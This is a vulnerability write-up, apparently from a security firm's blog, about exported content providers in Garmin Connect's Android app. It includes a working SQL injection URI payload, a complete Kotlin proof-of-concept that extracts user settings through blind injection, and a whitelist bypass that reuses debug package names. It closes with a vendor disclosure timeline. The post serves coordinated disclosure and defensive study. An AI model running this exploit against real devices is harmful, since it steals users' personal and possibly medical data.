After yet another workout where my sports watch completely lost GPS, I’d had enough. I decided to dig into its firmware and pinpoint the problem. I couldn’t find it published anywhere. No download section, no public archive, nothing. So, I changed tactics and went in through the Android app instead, hoping I could pull the firmware out from there. That’s where this story really begins.
I started by looking at the app’s manifest. Maybe there would be something useful hiding in plain sight. There was. I didn’t have to look for long before I found something interesting.
<provider
android:name="com.garmin.android.apps.connectmobile.contentprovider.DevicesProvider"
android:protectionLevel="signature"
android:enabled="true"
android:exported="true"
android:authorities="com.garmin.android.apps.connectmobile.contentprovider.devices"/>
<provider
android:name="com.garmin.android.apps.connectmobile.contentprovider.SSOProvider"
android:protectionLevel="signature"
android:enabled="true"
android:exported="true"
android:authorities="com.garmin.android.apps.connectmobile.contentprovider.sso"/>
I noticed two exported content providers with a curious flag android:protectionLevel="signature". Why is that interesting? Because according to the official documentation, providers do not have such a flag. That suggests the developer was working with incorrect security assumptions about these components and had effectively exposed them to any caller instead of limiting access to applications inside the same ecosystem.
SSOProvider
First, I analyzed SSOProvider, and the data it returned immediately caught my attention:
public class SSOProvider extends ContentProvider {
public static Bundle m8137a() {
...
Bundle bundle = new Bundle(5);
bundle.putString("serverEnvironment", GCMSettingManager.m9390s().f125010a.name());
bundle.putLong("userProfileID", userProfilePk);
bundle.putString("connectUserToken", mo29850g.f250a);
bundle.putString("connectUserSecret", str);
bundle.putString("userName", GCMSettingManager.m9349D());
return bundle;
}
...
@Override
public final Bundle call(String str, String str2, Bundle bundle) {
if (TextUtils.isEmpty(str)) {
return null;
}
if (!"getSignedInUserInfo".equals(str)) {
h2.m8516g("SSOProvider", "Fix me developer, I am not handling methodToCall " + str);
return null;
}
try {
return m8137a();
} catch (ExceptionInInitializerError e12) {
h2.C5191a.m8520d("SSOProvider", "Exception in SSOProvider calling getSignedInUserInfo(): " + e12.getMessage());
return null;
}
}
}
From the decompiled provider code, it was clear that retrieving user data requires calling the getSignedInUserInfo method. There are no additional restrictions. Any application can request this data. I used adb to check whether the provider actually exposes the data it claims, or if the fields are outdated and empty. After signing in to the app, I invoked getSignedInUserInfo.

It looked promising and at first glance it seemed like it could enable an account takeover, but it does not. The extracted data is not enough to get the user’s authorization token. In addition to the userToken/userSecret pair, you also need a second pair, consumerToken/consumerSecret. Those can only be obtained by registering for Garmin’s developer program. I couldn’t confirm this theory because enrollment in the program requires Garmin to verify you. So in practice, the most you can pull from this vulnerability is the authorized user’s email address and profile ID.
DevicesProvider
With this provider, things got a lot more interesting. It lets you retrieve information about the user’s connected devices. You can also pass a specific device identifier to get details for just that device.
public class DevicesProvider extends ContentProvider implements BaseColumns {
public static final UriMatcher f23097a;
static {
UriMatcher uriMatcher = new UriMatcher(-1);
f23097a = uriMatcher;
uriMatcher.addURI("com.garmin.android.apps.connectmobile.contentprovider.devices", "devices/product_nbrs/*", 1);
uriMatcher.addURI("com.garmin.android.apps.connectmobile.contentprovider.devices", "devices", 2);
uriMatcher.addURI("com.garmin.android.apps.connectmobile.contentprovider.devices.sdk", "devices/product_nbrs/*", 3);
}
public static C37963a m10126a(ArrayList arrayList, boolean z7) {
...
arrayList2.add(new C37964b(interfaceC3736e.mo7425r2(), strMo7391L,
interfaceC3736e.getPartNumber(),
interfaceC3736e.getProductNumber(),
interfaceC3736e.getSoftwareVersion(),
C3008b.m6553g(interfaceC3736e),
interfaceC3736e.getDisplayName(),
interfaceC3736e.mo7410d(), c3735d.f15835c, i12, z7 ? interfaceC3736e.mo7412d3() : null, z7 ? interfaceC3736e.mo7382E2() : null, z7 ? interfaceC3736e.mo7426s() : null, interfaceC3736e.mo7409c()));
}
}
return new C37963a(arrayList2);
}
@Override // android.content.ContentProvider
public final Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) throws Throwable {
int iMatch = f23097a.match(uri);
...
if (iMatch == 1) { // /devices/product_nbrs/*
z7 = true;
} else {
if (iMatch == 2) { // /devices
return m10126a(C2471p.m5655z(), true);
}
if (iMatch != 3) {
return null;
}
z7 = false;
}
...
String[] strArrSplit = uri.getLastPathSegment().split(",");
StringBuilder sb2 = new StringBuilder("product_nbr");
if (strArrSplit.length == 1) {
sb2.append("='");
sb2.append(strArrSplit[0]);
sb2.append("'");
} else {
sb2.append(" IN(");
while (i12 < strArrSplit.length) {
sb2.append("'");
sb2.append(strArrSplit[i12]);
sb2.append("'");
i12++;
if (i12 < strArrSplit.length) {
sb2.append(",");
}
}
sb2.append(")");
}
...
cursorQuery = AbstractC19805f.m30561s().query("devices", null, sb2.toString(), null, null, null, "is_connected desc, last_connected_timestamp desc");
return m10126a(C1046i9.m2940s(arrayList3), z7);
}
...
}
I’ve trimmed and simplified the decompiled provider code so it’s easier to follow. The provider checks the supplied URI against a predefined pattern and, if it matches, calls the query method. That method then decides whether the request is for all data at once or for a specific identifier. There is also an interesting feature where you can pass multiple identifiers separated by commas. This input ends up shaping the final SQL query that goes to the database. If you look closely at how that query is built, the problem becomes obvious. The query is assembled with StringBuilder and there is no sanitization, which means an SQL injection is possible.
In general, SQL injections in providers are not rare. They are found even in system providers, and Google does not plan to fix them. Why is that? The answer is simple. In most cases the provider is backed by a database with a single table (plus service tables), or the remaining tables are just supporting tables that no one cares about. Consequently, if you can pull data from the provider and that data is useful, that alone is enough to confirm the vulnerability.
I got lucky in this case. The injection turned out to be genuinely useful, because the database behind the provider included several valuable tables.

For example, the json table holds detailed information about user parameters, including data that could be considered medical. At this point I had everything I needed for an attack, so I could start working on an actual exploit.
Exploitation of a vulnerability
To reach a URI that is vulnerable to injection, you first need the device identifier. Getting it is straightforward. You can simply run a basic request to list all devices.
For clarity, I’ll show all the intermediate requests using adb.

Using this query, you extract the first useful piece of information, which is the product number. A user may have multiple devices connected, but that does not affect the exploitation chain. Everything that follows can be applied to any connected device. With the device number in hand, you can send a request to the URI content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/2158, which should return the same information shown in the previous screenshot. It is important to understand that the following query will be executed against the database:
SELECT * FROM devices WHERE product_nbr='2158' ORDER BY is_connected desc, last_connected_timestamp desc
The injection point is obvious. The story could have ended here with a standard union-based injection, if not for the way this provider processes data from the database cursor. As far as I can tell, it uses a wrapper that pulls out only certain fields of certain types from the response and returns only that set. Why it still queries all columns with * is a mystery to me. I will leave the union-based approach to the purists and instead show data extraction using a boolean-based blind injection.
That was not the only problem I ran into while exploiting this vulnerability. There was one critical requirement: the query had to avoid commas entirely. This restriction is enforced by the following code from the provider:
String[] strArrSplit = uri.getLastPathSegment().split(",");
StringBuilder sb2 = new StringBuilder("product_nbr");
if (strArrSplit.length == 1) {
sb2.append("='");
sb2.append(strArrSplit[0]);
sb2.append("'");
} else {
sb2.append(" IN(");
while (i12 < strArrSplit.length) {
sb2.append("'");
sb2.append(strArrSplit[i12]);
sb2.append("'");
i12++;
if (i12 < strArrSplit.length) {
sb2.append(",");
}
}
sb2.append(")");
}
This logic allows the provider to handle URIs like content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/2158,2159. The provider then turns that into a query that uses the IN operator:
SELECT * FROM devices WHERE product_nbr IN('2158','2159') ORDER BY is_connected desc, last_connected_timestamp desc
Do we even need to say that this adds unnecessary chaos and turns the payload into an escaping nightmare? This limitation also affected how data could be extracted, and it narrowed the list of workable techniques. In the end, the base payload used to communicate with the provider looks like this:
content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/2158' AND (SELECT cached_val LIKE $payload || char(37) ESCAPE '\\' FROM json WHERE concept_name='USER_SETTINGS')--
The idea behind this payload is to extract data character by character from the record with the key USER_SETTINGS in the json table. When you access the provider this way, it triggers a query roughly like the one shown above.
SELECT * FROM devices WHERE product_nbr='2158' AND (SELECT cached_val LIKE '_' || char(58) || char(37) ESCAPE '\' FROM json WHERE concept_name='USER_SETTINGS')
Because the query uses a wildcard in the LIKE operator and concatenates it with the character being tested, it can gradually pull data from the target field cached_val. Since that field contains JSON, the _ character also had to be escaped because it is a valid delimiter in the data. Putting it all together, we end up with the following class for performing a blind SQL injection against the provider com.garmin.android.apps.connectmobile.contentprovider.DevicesProvider:
package com.ptsecurity.garminsqlipoc
import android.annotation.SuppressLint
import android.content.Context
import android.database.Cursor
import android.net.Uri
import android.util.Log
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.flow.Flow
import kotlinx.coroutines.flow.flow
import kotlinx.coroutines.withContext
class Exfiltrator(private val context: Context) {
@SuppressLint("Range")
fun startAttack(): Flow<String> = flow {
val data = mutableListOf<String>()
var sequenceIdx = 0
var productNbr = ""
var payload: String
var uri: Uri
var nextChar: Char
// Query to extract existing product number
context.contentResolver.query(
Uri.parse("content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices"),
null,
null,
null,
null
)?.let { cursor ->
if (cursor.count == 0) {
return@flow
}
cursor.moveToFirst()
productNbr = cursor.getString(cursor.getColumnIndex("product_nbr"))
}
// Series of queries to exfiltrate all user settings
for (i in 0..1544) {
if (i % 200 == 0) {
Log.d(TAG, "Partially extracted data: ${data.joinToString(separator = "")}")
emit(data.joinToString(separator = ""))
}
while (sequenceIdx < OPTIMIZED_SEQUENCE.length) {
nextChar = OPTIMIZED_SEQUENCE[sequenceIdx]
payload = "'${"_".repeat(i)}'||${if (nextChar == '_') "'\\'||" else ""}char(${nextChar.code})"
uri =
Uri.parse("content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/$productNbr' AND (SELECT cached_val LIKE $payload || char(37) ESCAPE '\\' FROM json WHERE concept_name='USER_SETTINGS')--")
if (query(uri)) {
data.add(nextChar.toString())
sequenceIdx = 0
break
}
sequenceIdx++
}
}
Log.d(TAG, "Exfiltrated data:\n${data.joinToString(separator = "")}")
emit(data.joinToString(separator = ""))
}
private suspend fun query(uri: Uri): Boolean {
return withContext(Dispatchers.IO) {
var cursor: Cursor? = null
try {
cursor = context.contentResolver.query(uri, null, null, null, null)
if (cursor != null) {
return@withContext cursor.count > 0
} else {
return@withContext false
}
} catch (e: SecurityException) {
Log.e(TAG, "Permission denied accessing ContentProvider", e)
} catch (e: IllegalArgumentException) {
Log.e(TAG, "Invalid URI or ContentProvider not found", e)
} catch (e: Exception) {
Log.e(TAG, "Error querying ContentProvider", e)
} finally {
cursor?.close()
}
false
}
}
companion object {
private const val TAG = "Exfiltrator"
private const val OPTIMIZED_SEQUENCE = " {\":,._-}[]0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
}
}
To keep the exploit code simple, I decided not to implement a separate injection to retrieve the size of the extracted data. Instead, I took the size I captured and hard-coded it as the constant 1544.
While the exploit runs, the logs show which queries are being executed against the mobile app’s database:

Additionally, the exploit itself writes logs separately:

For clarity, the extracted data is also displayed in the exploit application’s user interface:
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
enableEdgeToEdge()
setContent {
GarminSQLiPoCTheme {
Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
ExfiltratedData(modifier = Modifier.padding(innerPadding))
}
}
}
}
}
@SuppressLint("CoroutineCreationDuringComposition")
@Composable
fun ExfiltratedData(modifier: Modifier = Modifier) {
val context = LocalContext.current
val exfiltrator = remember { Exfiltrator(context) }
var extractedData by remember { mutableStateOf("") }
LaunchedEffect(exfiltrator) {
exfiltrator.startAttack().collect { data ->
extractedData = data
}
}
val scrollState = rememberScrollState()
Column(
modifier = modifier
.verticalScroll(scrollState)
.padding(16.dp)
) {
Text(
text = "Hello Garmin!\n\n$extractedData",
modifier = Modifier.padding(8.dp)
)
}
}

But that wasn’t the end of the story.
After putting together all the artifacts for the report, I realized the version of the application I had analyzed wasn’t current. In fact, it was an entire major release behind. Everything described above was done on version 4.73.3, while the latest public release at the time was 5.14. Expecting the worst, I installed the new version and ran the exploit against it. As you might guess, it didn’t work. I wasn’t ready to walk away, so I dropped the new binary into a decompiler and started looking at what had changed.
First, they removed the unnecessary android:protectionLevel flag from the provider. However, the providers were still exported, which meant exploitation might still be possible — or new issues might appear. Second, both vulnerable providers now included a check that compared the calling application’s package name against a whitelist.
public static boolean m18185a(String str) {
C21868k.m28483j().getClass();
JSONArray jSONArray = new JSONArray(C9048i.f39804c.m11180a().f39823b.mo11170h("content_provider_consuming_apps_whitelist"));
int length = jSONArray.length();
for (int i10 = 0; i10 < length; i10++) {
if (C36065r.m52958g(str, jSONArray.getString(i10))) {
return true;
}
}
return false;
}
...
String callingPackage = getCallingPackage();
c15128a.getClass();
if (C15128a.m18185a(callingPackage) && !TextUtils.isEmpty(str)) {
// Do dangerous things
}
There were no additional checks. In practice, bypassing this validation only required renaming the exploit package to any identifier in the whitelist. At the time of analysis, it looked like this:
["com.garmin.android.apps.connectmobile","com.garmin.android.apps.dive","com.garmin.android.apps.explore","com.garmin.android.apps.explore.develop","com.garmin.android.apps.golf","com.garmin.android.apps.messenger","com.garmin.android.apps.virb","com.garmin.android.apps.vivokid","com.garmin.android.driveapp.dezl","com.garmin.android.marine","com.garmin.connectiq","tacx.android","com.garmin.android.apps.gccm","com.garmin.android.apps.shotview","com.garmin.android.apps.shotview.debug","com.garmin.android.apps.shotview.release"]
Along with legitimate package names that really do exist on Google Play, I also found a couple of apps with a .debug suffix. That clearly indicates internal debug builds that are not meant to be released publicly. This creates a problem. An attacker could reuse one of those names and even publish an app under it. For testing, I changed the exploit package name to: com.garmin.android.apps.shotview.debug, and it worked without any issues. The app once again started showing data pulled through the injection. That confirmed the core vulnerability was still present, and the work wasn’t wasted.
- 27.06.2025 – Reported the issue to the vendor and asked for a secure channel to share technical details.
- 04.07.2025 – The vendor replied, confirmed the contact details for receiving the report, and agreed on the encryption method.
- 11.07.2025 – Requested an update on the report status.
- 17.07.2025 – The vendor responded with the planned fix version and release date (August 8).
- 18.07.2025 – The vendor thanked us for the feedback and asked us to agree on how the author should be credited.
- 04.08.2025 – Coordinated with the vendor to confirm that the timeline was still valid.
- 05.08.2025 – The vendor notified us that the release timeline had shifted to September.
- 01.09.2025 – Checked with the vendor again to confirm that the timeline was still valid.
- 15.09.2025 – The scheduled release became available. Began verifying that the fix was working.
- 16.09.2025 – The vendor announced a new patch version and an updated release date (October 7).
- 01.10.2025 – Coordinated with the vendor to confirm that the updated timeline was still valid.
- 02.10.2025 – The vendor confirmed that the release schedule would not be moved again.
- 03.10.2025 – Discussed CVE registration and how to credit the researcher.
- 05.10.2025 – The vendor reported that the CVE had not yet been reserved and suggested adding the author to their whitehat-thanks page whitehat‑thanks.
- 09.10.2025 – Informed the vendor of the planned publication of this research on the PT SWARM blog.
- 10.10.2025 – The vendor approved publication and asked us to share the link once it went live.